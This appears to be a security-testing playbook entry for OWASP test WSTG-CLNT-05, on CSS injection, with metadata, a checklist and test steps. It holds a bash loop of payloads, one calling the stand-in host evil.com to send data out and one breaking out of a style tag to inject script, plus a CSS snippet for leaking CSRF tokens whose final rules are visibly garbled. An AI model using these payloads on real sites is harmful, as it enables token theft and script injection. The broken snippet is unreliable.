wstg-clnt-05

name	wstg-clnt-05
description	Testing for CSS Injection
category	client-side
owasp_id	WSTG-CLNT-05
version	1.0.0
author	cyberstrike-official
tags	["client-side","javascript","dom","cors","wstg","clnt"]
tech_stack	[]
cwe_ids	["CWE-94"]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-clnt-05

Test ID

WSTG-CLNT-05

Test Name

Testing for CSS Injection

High-Level Description

CSS injection allows attackers to inject malicious CSS into web pages. While typically less severe than XSS, it can be used for data exfiltration (via attribute selectors), UI redressing, content spoofing, and in some cases, JavaScript execution in older browsers.

---

What to Check

• Style attribute injection
• CSS in user-controlled content
• @import directive injection
• expression() in IE
• Data exfiltration via CSS

---

How to Test

Step 1: Basic CSS Injection

#!/bin/bash
TARGET="https://target.com"

payloads=(
    "color:red"
    "background:url(https://evil.com/log?data=stolen)"
    "position:fixed;top:0;left:0;width:100%;height:100%;background:red"
    "}</style><script>alert(1)</script><style>"
)

for payload in "${payloads[@]}"; do
    response=$(curl -s "$TARGET/profile?style=$payload")
    echo "Testing: $payload"
done

Step 2: Data Exfiltration via CSS

/* CSS attribute selector exfiltration */
/* Can extract CSRF tokens, input values */

input[name="csrf"][value^="a"] {
  background: url();
}
 {
  : ();
}